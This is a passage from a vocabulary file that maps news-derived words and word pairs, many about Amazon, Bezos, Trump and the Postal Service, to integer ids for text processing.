"lasnik": 46321, "daniel bryan": 46322, "wife told": 46323, "traditional big": 46324, "public postal": 46325, "handbags bed": 46326, "control benzinga": 46327, "trump refused": 46328, "candies": 46329, "orfacebook": 46330, "investors remain": 46331, "wars revenge": 46332, "newspaper trump": 46333, "maybe people": 46334, "widnes near": 46335, "delivery agreement": 46336, "faced opposition": 46337, "divisions retiring": 46338, "bezos replied": 46339, "jr took": 46340, "yikes gary": 46341, "player error": 46342, "tax rates": 46343, "fantastic business": 46344, "specifically members": 46345, "professional pilot": 46346, "relays": 46347, "key r4ee": 46348, "boosted bezos": 46349, "identify early": 46350, "oscar critics": 46351, "usps bumps": 46352, "factual news": 46353, "entire industries": 46354, "publisher response": 46355, "sign": 46356, "staggering depicts": 46357, "lama": 46358, "truthful way": 46359, "grenfell tower": 46360, "infrastructure fund": 46361, "wieser target": 46362, "downtown washington": 46363, "restaurant categories": 46364, "reads textbook": 46365, "vr": 46366, "igp": 46367, "bullying targets": 46368, "data link": 46369, "hurrying": 46370, "ibd display": 46371, "building permits": 46372, "condition determined": 46373, "untethered": 46374, "daily grievances": 46375, "ministers including": 46376, "kennedy estimated": 46377, "arts television": 46378, "ongoing artificial": 46379, "heart talk": 46380, "jocelyn wildenstein": 46381, "getty_478170176_388027": 46382, "powerful recommended": 46383, "people wind": 46384, "tenth according": 46385, "accomplice": 46386, "net service": 46387, "gift recent": 46388, "hospital detained": 46389, "improvised": 46390, "notorious anymore": 46391, "borrowers": 46392, "tax deferments": 46393, "recently trump": 46394, "spdr tr": 46395, "59m reports": 46396, "park near": 46397, "correct lot": 46398, "brendan": 46399, "kinder morgan": 46400, "post mocked": 46401, "right brian": 46402, "dow": 46403, "san antonio": 46404, "industry says": 46405, "gainsit": 46406, "unexpected friendship": 46407, "alleged fake": 46408, "york cookbook": 46409, "greatly swelling": 46410, "costs pressured": 46411, "homecities": 46412, "raising self": 46413, "hw bush": 46414, "moss check": 46415, "la abortion": 46416, "transgender language": 46417, "selling fakes": 46418, "areas chances": 46419, "new escalation": 46420, "graph n979746": 46421, "revealed list": 46422, "hottest deals": 46423, "pulitzer winner": 46424, "big scheme": 46425, "baby died": 46426, "muscle amazon": 46427, "steps": 46428, "robots inaudible": 46429, "demand meals": 46430, "tesla founder": 46431, "toldthe associated": 46432, "terrorism bombs": 46433, "president frequently": 46434, "6pm bst": 46435, "year great": 46436, "today broadsheet": 46437, "solomon nightly": 46438, "night negotiating": 46439, "proliferation": 46440, "keenly focused": 46441, "paper outside": 46442, "brashear north": 46443, "casually dropping": 46444, "virginia offered": 46445, "dod photo": 46446, "citizenship award": 46447, "bad practice": 46448, "exploiting natural": 46449, "reading basics": 46450, "porn star": 46451, "personalized medicine": 46452, "arabia key": 46453, "senate story": 46454, "did things": 46455, "warnings": 46456, "puff": 46457, "van business": 46458, "offer place": 46459, "executive david": 46460, "convenient": 46461, "witness john": 46462, "onsumers generally": 46463, "democrats taxed": 46464, "mccabe spokesperson": 46465, "mean separating": 46466, "stronger data": 46467, "bigger opportunities": 46468, "wasall": 46469, "derails california": 46470, "year highlighted": 46471, "juan orlando": 46472, "blue states": 46473, "assassination based": 46474, "clone shipments": 46475, "neared trillion": 46476, "narrow short": 46477, "usps practice": 46478, "responded wryly": 46479, "news stopped": 46480, "china increasingly": 46481, "dave wedge": 46482, "narrow": 46483, "ink package": 46484, "retailers want": 46485, "suzy": 46486, "lynne patton": 46487, "santti13 santti13": 46488, "macy nyse": 46489, "drugs herbicides": 46490, "full16x9 width": 46491, "amazon login": 46492, "international boat": 46493, "evening stocks": 46494, "reporter hope": 46495, "news 24x7": 46496, "horror starlet": 46497, "inc_custom_sidebar null": 46498, "economy rep": 46499, "source operating": 46500, "life supreme": 46501, "arlington means": 46502, "russia ivanka": 46503, "bezos biography": 46504, "infowars network": 46505, "taxpolicycenter org": 46506, "isn america": 46507, "headquarters adding": 46508, "901 529": 46509, "probably holistically": 46510, "cassidy": 46511, "tell facebook": 46512, "race awaits": 46513, "importantly": 46514, "improvement housewares": 46515, "deliveries president": 46516, "sordid ceo": 46517, "team took": 46518, "amazon outposts": 46519, "2022 sanders": 46520, "falsehood": 46521, "new campus": 46522, "boost mueller": 46523, "dominant force": 46524, "reasonably secure": 46525, "ne allegedly": 46526, "mysterious small": 46527, "threaten internet": 46528, "fiction little": 46529, "talks look": 46530, "hare": 46531, "deviously": 46532, "odds politicians": 46533, "board wasn": 46534, "documents dispel": 46535, "cah shares": 46536, "felt violated": 46537, "cox recently": 46538, "office told": 46539, "step gives": 46540, "lipstick": 46541, "help twitter": 46542, "bezos called": 46543, "honcho does": 46544, "trump tyranny": 46545, "batten": 46546, "triumphant": 46547, "unintended consequence": 46548, "craig work": 46549, "read stop": 46550, "hinton knew": 46551, "alphaone": 46552, "skid": 46553, "man charged": 46554, "misses profit": 46555, "trade deals": 46556, "overcome globaldata": 46557, "supervision randal": 46558, "peebles real": 46559, "annual filing": 46560, "law devil": 46561, "specific dealings": 46562, "steering investors": 46563, "asserted marks": 46564, "allen says": 46565, "harvey weinstein": 46566, "ceo ryan": 46567, "china expansion": 46568, "press canned": 46569, "power plants": 46570, "person died": 46571, "boroughs konst": 46572, "carole cadwalladr": 46573, "jordan river": 46574, "today provided": 46575, "us50 billion": 46576, "procedural manoeuvre": 46577, "launched special": 46578, "inside cave": 46579, "2m according": 46580, "lb best": 46581, "mug shots": 46582, "leave thousands": 46583, "huttenlocher daniel": 46584, "10best": 46585, "billion brink": 46586, "minds steemit": 46587, "elle": 46588, "seat cord": 46589, "trudeau larry": 46590, "representing parts": 46591, "flawed amazon": 46592, "distribution business": 46593, "restoring sanctions": 46594, "targeted nbc": 46595, "identical strangers": 46596, "watchman": 46597, "howorth just": 46598, "repressive regimes": 46599, "protesters": 46600, "mercy story": 46601, "doesn fall": 46602, "verona": 46603, "stories trump": 46604, "wages quickly": 46605, "cnn article": 46606, "politico published": 46607, "regional summit": 46608, "earvilwatson": 46609, "trump challenge": 46610, "toughest challenge": 46611, "petulantly": 46612, "preferably": 46613, "redis": 46614, "corporate lobbyist": 46615, "cheryl casone": 46616, "revenue streams": 46617, "tribune business": 46618, "craig berman": 46619, "dollar cloud": 46620, "fresh scandal": 46621, "dictators": 46622, "whisking sanchez": 46623, "doj fbi": 46624, "business comedian": 46625, "reads best": 46626, "marketing vp": 46627, "religion scholar": 46628, "amazon 5826": 46629, "space 2018": 46630, "rampant bias": 46631, "temporary building": 46632, "location long": 46633, "autoplayvideoexist": 46634, "free housing": 46635, "economy increasingly": 46636, "ridiculous competition": 46637, "bad tag": 46638, "budget according": 46639, "delegates boundaries": 46640, "risk houston": 46641, "don plan": 46642, "year american": 46643, "rapist": 46644, "quoted cnn": 46645, "order priests": 46646, "leading amazon": 46647, "foods ceo": 46648, "welldocumented mccabe": 46649, "law degree": 46650, "pentagon remote": 46651, "wesleyan": 46652, "eliza collins": 46653, "delved deeper": 46654, "does offer": 46655, "boost efficiency": 46656, "thought fear": 46657, "skirmish": 46658, "russia foreign": 46659, "buy goods": 46660, "muller iii": 46661, "kiosk": 46662, "korea month": 46663, "alc\u00e2ntara launch": 46664, "amicability": 46665, "disrupting entire": 46666, "mayor emanuel": 46667, "cah profit": 46668, "vulgarity racial": 46669, "companies invest": 46670, "block national": 46671, "attacks ___": 46672, "demeanour posed": 46673, "red territory": 46674, "cordray historic": 46675, "getting divorce": 46676, "fever dream": 46677, "relevant data": 46678, "salty long": 46679, "gigya": 46680, "marjorie williams": 46681, "measures related": 46682, "county executives": 46683, "levine big": 46684, "youtube read": 46685, "recently noted": 46686, "highlight smaller": 46687, "airbnb exlarge": 46688, "brett anderson": 46689, "583m fake": 46690, "thatandy": 46691, "invsts ser": 46692, "gone hand": 46693, "legislative solution": 46694, "victoria ellis": 46695, "house lost": 46696, "public dinner": 46697, "crib": 46698, "premier liu": 46699, "1530799114": 46700, "recommend reevaluation": 46701, "knows maybe": 46702, "puts amazon": 46703, "pay respects": 46704, "amazon blog": 46705, "erfgenamen van": 46706, "privately organized": 46707, "chaos gucci": 46708, "andrew coons": 46709, "james benson": 46710, "greatest mistake": 46711, "pepsico forecast": 46712, "sale decision": 46713, "2015 hans": 46714, "minivan": 46715, "painful moments": 46716, "annual stress": 46717, "plans california": 46718, "cortana lives": 46719, "foot sears": 46720, "demands ranging": 46721, "storm drain": 46722, "separate parts": 46723, "correspondent kate": 46724, "d8": 46725, "kaye wrote": 46726, "people trying": 46727, "maga gear": 46728, "blagojevich": 46729, "dara khosrowshahi": 46730, "hawaii volcano": 46731, "silence": 46732, "practices higher": 46733, "kyle congratulations": 46734, "app andrew": 46735, "sports blog": 46736, "breakout hit": 46737, "amazon kids": 46738, "eligible commentator": 46739, "metro portland": 46740, "corporate profit": 46741, "movie south": 46742, "rita braver": 46743, "bayer bayn": 46744, "million member": 46745, "consumers face": 46746, "question amazon": 46747, "pete yes": 46748, "futures point": 46749, "operating routes": 46750, "voting restoration": 46751, "lawmakers express": 46752, "mccabe disgrace": 46753, "grocery healthcare": 46754, "jewish housewife": 46755, "utf": 46756, "face scanning": 46757, "353 retail": 46758, "holiday rush": 46759, "gardy": 46760, "wait thoughtfully": 46761, "news think": 46762, "post added": 46763, "creating limitless": 46764, "edwards amber": 46765, "opened case": 46766, "includes upholding": 46767, "pelosi alum": 46768, "historically amazon": 46769, "coming holiday": 46770, "districts wisconsin": 46771, "32gb internal": 46772, "olive": 46773, "slipped new": 46774, "nov people": 46775, "chris falls": 46776, "attributes donald": 46777, "nick zieminski": 46778, "starring alison": 46779, "stalemate government": 46780, "thomas hardiman": 46781, "just does": 46782, "journalistic reasons": 46783, "nice guy": 46784, "service q2": 46785, "compensation recently": 46786, "tax efficient": 46787, "voice pushing": 46788, "rival predicament": 46789, "return g7a": 46790, "298 million": 46791, "using tools": 46792, "promptedbezos": 46793, "southwest tucson": 46794, "insurance coverage": 46795, "york political": 46796, "popularity decline": 46797, "far 200": 46798, "company clark": 46799, "charges large": 46800, "empire owned": 46801, "military execution": 46802, "project manager": 46803, "opiates": 46804, "republican negotiators": 46805, "amazon amazonhelp": 46806, "reconnects": 46807, "getting 137": 46808, "growth futures": 46809, "consistently held": 46810, "n2x e8": 46811, "fbi pentagon": 46812, "mich wxyz": 46813, "jersey lawmakers": 46814, "termed": 46815, "term supreme": 46816, "protect manufacturers": 46817, "width 650": 46818, "digital microscope": 46819, "entire platform": 46820, "official photos": 46821, "staver bloomberg": 46822, "enquirer original": 46823, "team denying": 46824, "lighter": 46825, "nonetheless amazon": 46826, "korea eye": 46827, "given tax": 46828, "sensibility": 46829, "sensors prepared": 46830, "turbulent europe": 46831, "skewering": 46832, "intangible": 46833, "immigration list": 46834, "rest easy": 46835, "recent interviews": 46836, "timelines": 46837, "commercial shippers": 46838, "2018 pyeongchang": 46839, "prada impossible": 46840, "gaetz alongside": 46841, "party energized": 46842, "georgetown university": 46843, "interview earlier": 46844, "kavanaugh testimony": 46845, "local town": 46846, "29billion charitable": 46847, "future retirees": 46848, "urban areas": 46849, "ollstein": 46850, "push": 46851, "extraordinary blog": 46852, "capital sensibility": 46853, "trump forced": 46854, "revenues": 46855, "kaola chukumba": 46856, "large package": 46857, "app cuseum": 46858, "incentives upwards": 46859, "staff reported": 46860, "vulnerable": 46861, "aristocrat": 46862, "ice think": 46863, "weirdest": 46864, "hill thomas": 46865, "regularly covered": 46866, "clearly bezos": 46867, "hyphen": 46868, "encourage": 46869, "resurgence wonder": 46870, "favor democrats": 46871, "totally botched": 46872, "arthur delaney": 46873, "wander little": 46874, "beginnings bezos": 46875, "incorporates": 46876, "protection operation": 46877, "book format": 46878, "qvc john": 46879, "moving quickly": 46880, "young afghans": 46881, "african americans": 46882, "days series": 46883, "sell business": 46884, "book sale": 46885, "world authoritarian": 46886, "hatched": 46887, "cyberattack": 46888, "representatives judiciary": 46889, "veep actor": 46890, "guides link": 46891, "puppeteer": 46892, "adam bricker": 46893, "nieces": 46894, "michael strain": 46895, "best quarterly": 46896, "cortez pontificating": 46897, "world kudos": 46898, "apple cut": 46899, "forbes revealed": 46900, "grills": 46901, "country kelly": 46902, "motivated security": 46903, "mexico live": 46904, "plath winged": 46905, "afp germany": 46906, "documented biased": 46907, "start receiving": 46908, "ad buyers": 46909, "nonfiction adult": 46910, "provides eligible": 46911, "photo zing": 46912, "new battleground": 46913, "trends taking": 46914, "comments click": 46915, "hall gordon": 46916, "platform bolsonaro": 46917, "janet van": 46918, "miles day": 46919, "sustainability policy": 46920, "dark underbelly": 46921, "undeclared": 46922, "schedules": 46923, "book presentation": 46924, "shady trump": 46925, "dc bezos": 46926, "memorable turkey": 46927, "party hustle": 46928, "jump": 46929, "burned": 46930, "big increases": 46931, "rsvp": 46932, "spies": 46933, "raises employees": 46934, "investing partner": 46935, "extremely inappropriate": 46936, "report sending": 46937, "personal invitation": 46938, "union politics": 46939, "reviewer raving": 46940, "changing cash": 46941, "hit area": 46942, "amazon smear": 46943, "mijente new": 46944, "lindsay charlie": 46945, "skdknickerbocker": 46946, "cook ivanka": 46947, "helsinki finland": 46948, "lives lost": 46949, "wolverines words": 46950, "royalty income": 46951, "conversation complicated": 46952, "endpoints": 46953, "outlook dims": 46954, "landowners according": 46955, "amzn jeff": 46956, "educational activities": 46957, "beliefs brody": 46958, "conspiracies": 46959, "yes jeff": 46960, "investors writes": 46961, "alum krasinski": 46962, "founding rabbi": 46963, "noted media": 46964, "line tourists": 46965, "widespread today": 46966, "york rep": 46967, "real crisis": 46968, "queensist": 46969, "considers online": 46970, "policy goal": 46971, "morning everybody": 46972, "citizens latrice": 46973, "dozens": 46974, "run screaming": 46975, "bezos ongoing": 46976, "subsidize low": 46977, "sheeran": 46978, "freedom protections": 46979, "tracing application": 46980, "cbpp writes": 46981, "regulation recent": 46982, "wrangle": 46983, "twitter mylesudland": 46984, "lucrative exports": 46985, "fed rate": 46986, "business decisions": 46987, "cigar industry": 46988, "juul halts": 46989, "stringent regulatory": 46990, "million plus": 46991, "pose bigger": 46992, "broader returns": 46993, "camo hat": 46994, "chimes": 46995, "buttons": 46996, "jedi brain": 46997, "buolamwini": 46998, "president created": 46999, "families portfolio": 47000, "impeachment threat": 47001, "amazon market": 47002, "sinks bolsonaro": 47003, "checking website": 47004, "mijente national": 47005, "areas despite": 47006, "aldous pennyfarthing": 47007, "jaselskis": 47008, "premium explained": 47009, "produce today": 47010, "featured tribal": 47011, "christian evangelicals": 47012, "prospective purchase": 47013, "wear shorts": 47014, "way capitalism": 47015, "so2rmu3ecd": 47016, "protect american": 47017, "severe mistake": 47018, "occlusions": 47019, "dump nyc": 47020, "politics privacy": 47021, "underpaying": 47022, "lambasted amazon": 47023, "incredibly effective": 47024, "minimum purchase": 47025, "giveaway just": 47026, "originators lot": 47027, "code according": 47028, "security act": 47029, "information showing": 47030, "enjoy anew": 47031, "worth billions": 47032, "quips steve": 47033, "attilan": 47034, "company settled": 47035, "closed mark": 47036, "firms say": 47037, "using emails": 47038, "words fool": 47039, "work brought": 47040, "estate greed": 47041, "social market": 47042, "amazing group": 47043, "greatest technologies": 47044, "provide": 47045, "region vegas": 47046, "500 826": 47047, "amazon calls": 47048, "strong 2019": 47049, "cvs": 47050, "face ample": 47051, "kelly southwest": 47052, "michele short": 47053, "valuation currently": 47054, "death earlier": 47055, "intelligence key": 47056, "children caught": 47057, "based medications": 47058, "set dates": 47059, "increasingly convinced": 47060, "flavored": 47061, "relocation subsidies": 47062, "aggressively pursuedapple": 47063, "coverage shows": 47064, "quotes matt": 47065, "strategies used": 47066, "sao paulo": 47067, "collectible cards": 47068, "friends lovers": 47069, "class letters": 47070, "finance cause": 47071, "leaker 2736762": 47072, "closed meeting": 47073, "ship trump": 47074, "means marketing": 47075, "yes haverty": 47076, "state davis": 47077, "currently house": 47078, "change tokyo": 47079, "big mouth": 47080, "talkative trump": 47081, "actually marriott": 47082, "hypocrites": 47083, "cuomo brokered": 47084, "considering buying": 47085, "polo": 47086, "downtown": 47087, "amazon picked": 47088, "vote 388": 47089, "highly simplistic": 47090, "faster acting": 47091, "202 224": 47092, "amazon muckerman": 47093, "actually wore": 47094, "journey north": 47095, "organizations leading": 47096, "follow global_advisors": 47097, "chris arnade": 47098, "king jpg": 47099, "rep lieu": 47100, "daily dealer": 47101, "walks onstage": 47102, "insider ramsay": 47103, "reauthorized": 47104, "accenture wins": 47105, "shares cim": 47106, "guided tactical": 47107, "affordable homes": 47108, "grow": 47109, "later trade": 47110, "mind descriptionplaintext": 47111, "amazon postal": 47112, "publicized allegations": 47113, "requiring purchase": 47114, "deckers": 47115, "26th": 47116, "situation narcos": 47117, "hunter trevor": 47118, "quadratic": 47119, "powered growth": 47120, "closure program": 47121, "reduce prices": 47122, "usatoda": 47123, "massive sexual": 47124, "gmt north": 47125, "dollars wasn": 47126, "ordered new": 47127, "youtube screeds": 47128, "did increase": 47129, "prying": 47130, "compensation according": 47131, "traditionally keeps": 47132, "amazon martina": 47133, "east tallahassee": 47134, "private technology": 47135, "ami warned": 47136, "coach michael": 47137, "chided": 47138, "desk riser": 47139, "dysfunction": 47140, "producer told": 47141, "interesting mccabe": 47142, "big spending": 47143, "led embargo": 47144, "marcus samuelsson": 47145, "fact doing": 47146, "purpose": 47147, "vug stake": 47148, "quickly led": 47149, "concurrently advance": 47150, "chain group": 47151, "commodities warned": 47152, "republican campaigns": 47153, "instead husemen": 47154, "issues amazon": 47155, "making investors": 47156, "searching block": 47157, "tinged": 47158, "announced shift": 47159, "agreement letter": 47160, "446 decidedly": 47161, "thousands mackenzie": 47162, "eve ceo": 47163, "tan france": 47164, "420": 47165, "u8": 47166, "hard deadline": 47167, "resistance soon": 47168, "based supermarket": 47169, "press novartis": 47170, "furloughed": 47171, "china import": 47172, "urged voters": 47173, "burned drug": 47174, "gandhi tweeted": 47175, "development new": 47176, "writes mark": 47177, "younger voters": 47178, "assault oscars": 47179, "immigrants saying": 47180, "gymnastics olympic": 47181, "amzn dips": 47182, "booker hillicon": 47183, "study used": 47184, "outnumber": 47185, "33rd day": 47186, "closely regulated": 47187, "lobbing taunts": 47188, "wing hatchet": 47189, "section": 47190, "foreseeable allen": 47191, "licensing agreement": 47192, "rexhuppke": 47193, "aspiring writer": 47194, "sandpaper": 47195, "cited alternative": 47196, "graham gone": 47197, "lee utah": 47198, "claimed 100": 47199, "jennifer cole": 47200, "eva": 47201, "better positioned": 47202, "nonprofit designated": 47203, "media madness": 47204, "ecl news": 47205, "encouraging outlook": 47206, "ellen": 47207, "just watch": 47208, "stories workers": 47209, "today financial": 47210, "education child": 47211, "bolsonaro rhetoric": 47212, "consumer purchase": 47213, "hardly need": 47214, "thinner": 47215, "cape shares": 47216, "sears home": 47217, "deal president": 47218, "extreme programming": 47219, "warns david": 47220, "36m": 47221, "newsweek chronicled": 47222, "pits real": 47223, "confidential report": 47224, "credit promote": 47225, "gasol sat": 47226, "cuts bestowed": 47227, "negotiated service": 47228, "angeles local": 47229, "california local": 47230, "door emerson": 47231, "fronts": 47232, "forward pending": 47233, "lessons leadership": 47234, "germany great": 47235, "release date": 47236, "friend home": 47237, "buffett avoided": 47238, "roache head": 47239, "ofthe facts": 47240, "pecker chairman": 47241, "tracing applications": 47242, "built new": 47243, "hare investment": 47244, "nvda proved": 47245, "kmart locations": 47246, "targets big": 47247, "unsparing prose": 47248, "production brought": 47249, "expensive iphones": 47250, "h6a a4ee": 47251, "episode cat": 47252, "special partners": 47253, "late 1800s": 47254, "personally pushed": 47255, "cohen payment": 47256, "hummus": 47257, "germany italy": 47258, "drops transgender": 47259, "prominence": 47260, "schoolteacher": 47261, "sentencing guidelines": 47262, "relationship involving": 47263, "nasty away": 47264, "burden bezos": 47265, "started real": 47266, "bolster house": 47267, "riotous fun": 47268, "abramson statement": 47269, "newfound adversary": 47270, "day marked": 47271, "desperately opposed": 47272, "companies nonprofits": 47273, "clearly striking": 47274, "says ceo": 47275, "basic question": 47276, "chain operator": 47277, "night highlights": 47278, "offers major": 47279, "million internet": 47280, "risking trump": 47281, "beard restaurant": 47282, "funds academics": 47283, "innovative market": 47284, "presents": 47285, "amazon tomorrow": 47286, "rapper cardi": 47287, "completely backwards": 47288, "comma enthusiasts": 47289, "ronald": 47290, "really depend": 47291, "world apple": 47292, "thousand orders": 47293, "book store": 47294, "general maura": 47295, "cnl_custom_article_footer null": 47296, "alli oppenheim": 47297, "woodbridge girl": 47298, "meraki shoppers": 47299, "benedetto": 47300, "dsa statement": 47301, "foolproof": 47302, "amazon performance": 47303, "tower book": 47304, "facebook purchase": 47305, "space flight": 47306, "britons": 47307, "biggest hedge": 47308, "j8i s0": 47309, "territory having": 47310, "anticompetitive effect": 47311, "depends": 47312, "investors want": 47313, "presenting strong": 47314, "dream amazon": 47315, "782": 47316, "celebrities": 47317, "cantankerous new": 47318, "piece published": 47319, "departed recent": 47320, "magana jose": 47321, "fetus aborted": 47322, "magically": 47323, "equilibrium": 47324, "construction spending": 47325, "bookseller": 47326, "reviewed goodlatte": 47327, "investigation headed": 47328, "scrutiny visitors": 47329, "blue tirade": 47330, "skip campbell": 47331, "stay informed": 47332, "vivid": 47333, "craziest": 47334, "fair wage": 47335, "relationship unique": 47336, "key words": 47337, "onex corp": 47338, "community safeguards": 47339, "fail safe": 47340, "think nyc": 47341, "clandestine": 47342, "domestic pressure": 47343, "invaluable forest": 47344, "pre 2000": 47345, "doctors alike": 47346, "tomi": 47347, "tillman act": 47348, "investigator james": 47349, "cameroonian": 47350, "adviser doesn": 47351, "campaign showed": 47352, "mounting opposition": 47353, "flippancies": 47354, "tenor": 47355, "excellent company": 47356, "stanley estimate": 47357, "region tu": 47358, "latest earnings": 47359, "populairste rentevaste": 47360, "conservative group": 47361, "council referring": 47362, "items discovered": 47363, "twitter rtdschapiro": 47364, "procurement laws": 47365, "answer blake": 47366, "greater funding": 47367, "sehgal": 47368, "estimated ebitda": 47369, "group praised": 47370, "ultimately hurt": 47371, "ami demands": 47372, "dwight garner": 47373, "soy china": 47374, "kubrick": 47375, "site ambulances": 47376, "lago resort": 47377, "rainforest deforestation": 47378, "40mm drivers": 47379, "retain half": 47380, "mcgrane": 47381, "lightening": 47382, "firms employees": 47383, "photos israel": 47384, "startlingly novel": 47385, "scientists reported": 47386, "wonka": 47387, "stake meiji": 47388, "making fake": 47389, "additional markets": 47390, "necessarily sexual": 47391, "race children": 47392, "pennsylvania warehouse": 47393, "nyc booboonyc": 47394, "icahn called": 47395, "oil remains": 47396, "sentiment data": 47397, "curious mean": 47398, "socioambiental brazilian": 47399, "allies": 47400, "credential": 47401, "multiple growth": 47402, "industry spends": 47403, "country largest": 47404, "cyber threats": 47405, "amazon suggested": 47406, "morning briefing": 47407, "highly reliable": 47408, "gta": 47409, "worst foreclosure": 47410, "presented legislation": 47411, "cornell law": 47412, "litigation task": 47413, "house democrats": 47414, "day sanders": 47415, "far far": 47416, "alleged trump": 47417, "twitter page": 47418, "rat glue": 47419, "years nyu": 47420, "including facebook": 47421, "officer pentagon": 47422, "sharrett bloomberg": 47423, "outfit works": 47424, "meltzer paul": 47425, "despite concerns": 47426, "encouraging republican": 47427, "daniels hush": 47428, "washington pizza": 47429, "physical provide": 47430, "revenge porn": 47431, "hijacked": 47432, "virgina values": 47433, "trump saudi": 47434, "daily overtime": 47435, "government official": 47436, "fsg following": 47437, "small businesses": 47438, "bidding war": 47439, "inexplicable action": 47440, "cause scandal": 47441, "wife kathleen": 47442, "xlsxh1xyny": 47443, "post apocalyptic": 47444, "major service": 47445, "apology tour": 47446, "dreidel": 47447, "falls": 47448, "newspaper msnbc": 47449, "called facebook": 47450, "australia cardinal": 47451, "trevino brings": 47452, "sandie": 47453, "davies": 47454, "usa futures": 47455, "inarguable": 47456, "sorry": 47457, "business international": 47458, "bolsonaro aka": 47459, "services authority": 47460, "deduct stock": 47461, "documentary gripping": 47462, "party soccer": 47463, "vietnam": 47464, "washington plus": 47465, "increased prices": 47466, "does point": 47467, "raise drop": 47468, "avenatti legitimate": 47469, "depasquale": 47470, "wolf new": 47471, "trump took": 47472, "average according": 47473, "maga tcot": 47474, "marketwatch andsign": 47475, "district voters": 47476, "dealt": 47477, "did sorry": 47478, "really high": 47479, "michigan democrat": 47480, "bezos welfare": 47481, "names albert": 47482, "tcja means": 47483, "curmudgeons": 47484, "nlindstrom tribweb": 47485, "dwyane": 47486, "a4ee var": 47487, "fear consensually": 47488, "flipboard": 47489, "really cold": 47490, "jacobs looked": 47491, "salazar democratic": 47492, "bust size": 47493, "pakistani civilians": 47494, "year prospects": 47495, "niles explained": 47496, "shirley": 47497, "trump russia": 47498, "potential backlash": 47499, "partially blame": 47500, "apprenticeship program": 47501, "vox verdict": 47502, "attorney representing": 47503, "loser giving": 47504, "series saw": 47505, "worth amazon": 47506, "school educated": 47507, "british motoring": 47508, "corporations evil": 47509, "agenda tech": 47510, "republic president": 47511, "defense measure": 47512, "atlantic county": 47513, "inside small": 47514, "imagine rapid": 47515, "elite schools": 47516, "mistreated": 47517, "inwood": 47518, "party trump": 47519, "reportedly ending": 47520, "5etfw 7ctwcamp": 47521, "exclusive licensing": 47522, "majestic river": 47523, "journal obtained": 47524, "washington biggest": 47525, "informed": 47526, "technology team": 47527, "house hit": 47528, "halpern": 47529, "carolina shelters": 47530, "img_reusableflag false": 47531, "subsidies hate": 47532, "caller yes": 47533, "stock valuation": 47534, "extra babysitting": 47535, "city data": 47536, "life voted": 47537, "details related": 47538, "131bn": 47539, "home preservation": 47540, "tornadoes npr": 47541, "bid daniel": 47542, "bafflement": 47543, "doesn mean": 47544, "articles written": 47545, "sensational": 47546, "published click": 47547, "coverage nbc": 47548, "water pumps": 47549, "lego": 47550, "twitter stand": 47551, "dr eduardo": 47552, "lgbt people": 47553, "outsized growth": 47554, "financial performance": 47555, "group program": 47556, "finance home": 47557, "doug straton": 47558, "midwinter break": 47559, "bullets": 47560, "friend farrow": 47561, "sonorous host": 47562, "selling lines": 47563, "important reader": 47564, "amazon presence": 47565, "1918": 47566, "google inched": 47567, "stop revenge": 47568, "business microsoft": 47569, "taking hard": 47570, "national golf": 47571, "comfortable life": 47572, "alexander hamilton": 47573, "intensify political": 47574, "longtime tipster": 47575, "2lqswbh": 47576, "ebay ebay": 47577, "fare evasion": 47578, "stable genius": 47579, "attracting potentially": 47580, "provides similar": 47581, "interview bolsonaro": 47582, "happy snowed": 47583, "beauty fellow": 47584, "poff student": 47585, "academic": 47586, "a8 m2x": 47587, "negotiations collapse": 47588, "truest sense": 47589, "kaepernick nike": 47590, "traditional banks": 47591, "year elected": 47592, "earn commission": 47593, "ardent followers": 47594, "riordan sued": 47595, "firing line": 47596, "answers danbury": 47597, "000 tax": 47598, "plan sparked": 47599, "service operations": 47600, "utilise new": 47601, "incentivize corporations": 47602, "invincibility": 47603, "heirs satire": 47604, "fisher manuel": 47605, "old founder": 47606, "completely unacceptable": 47607, "amazon cancels": 47608, "cohen guilty": 47609, "remark relating": 47610, "message scandal": 47611, "coverage universe": 47612, "weekly jobless": 47613, "barrel gold": 47614, "vast forests": 47615, "published accounts": 47616, "story small": 47617, "small web": 47618, "lumber": 47619, "comments capitol": 47620, "showing correspondence": 47621, "companies pump": 47622, "omnichannel": 47623, "forever stampsby": 47624, "elected brazilian": 47625, "neglected bone": 47626, "meditations": 47627, "won play": 47628, "private partnerships": 47629, "a1 a4ee": 47630, "712 300": 47631, "grader": 47632, "reproducible": 47633, "told thecity": 47634, "retirement feigenholtz": 47635, "knocked amazon": 47636, "item sold": 47637, "sticker conservative": 47638, "reportedly denied": 47639, "industry spenders": 47640, "push forward": 47641, "reach segments": 47642, "befell jeff": 47643, "contract reportedly": 47644, "reported advertisers": 47645, "gas accounts": 47646, "market": 47647, "source communitybut": 47648, "transition team": 47649, "urges investors": 47650, "available dan": 47651, "avoid bias": 47652, "bleeding people": 47653, "romance sex": 47654, "darker skinned": 47655, "tahir": 47656, "president used": 47657, "teachings": 47658, "lending 500": 47659, "drama ivanka": 47660, "sabres": 47661, "goneril": 47662, "campaign aid": 47663, "fund invested": 47664, "buyer beware": 47665, "trump tags": 47666, "putin think": 47667, "trade conflicts": 47668, "bejing": 47669, "wireless emergency": 47670, "title match": 47671, "startling story": 47672, "state school": 47673, "banks dropped": 47674, "regarding russia": 47675, "trump argue": 47676, "blair anderson": 47677, "way kids": 47678, "inthis": 47679, "level criticism": 47680, "planetary union": 47681, "google referred": 47682, "newsletter major": 47683, "ecommerce news": 47684, "broader tax": 47685, "schedules training": 47686, "trump complaining": 47687, "book form": 47688, "rebuttals": 47689, "mcclain": 47690, "videotape joe": 47691, "jacob frenkel": 47692, "liar": 47693, "lebeau": 47694, "surging oil": 47695, "pecker wants": 47696, "written just": 47697, "packages trump": 47698, "feel healthier": 47699, "moats roku": 47700, "politico dana": 47701, "president hate": 47702, "1041310008623943680": 47703, "menard": 47704, "controversies spent": 47705, "long ago": 47706, "donald john": 47707, "publisher axel": 47708, "soul": 47709, "washington postto": 47710, "exotic locations": 47711, "firm forrester": 47712, "network tv": 47713, "salary analysis": 47714, "supply referenced": 47715, "initial investment": 47716, "susana": 47717, "distinctly trumpian": 47718, "prada novel": 47719, "approximately 300": 47720, "reach valuation": 47721, "f8": 47722, "dried": 47723, "trusted amazon": 47724, "walmart builds": 47725, "vta conference": 47726, "photos weren": 47727, "francisco reuters": 47728, "used vine": 47729, "advocates repeal": 47730, "mdg": 47731, "purchases updated": 47732, "perverse impact": 47733, "working think": 47734, "billion president": 47735, "hits comey": 47736, "disclosure did": 47737, "lacked public": 47738, "sanders argument": 47739, "million according": 47740, "clampdown": 47741, "planned office": 47742, "area spicer": 47743, "compute cloud": 47744, "rate post": 47745, "enjoy bipartisan": 47746, "partisan identity": 47747, "truth accused": 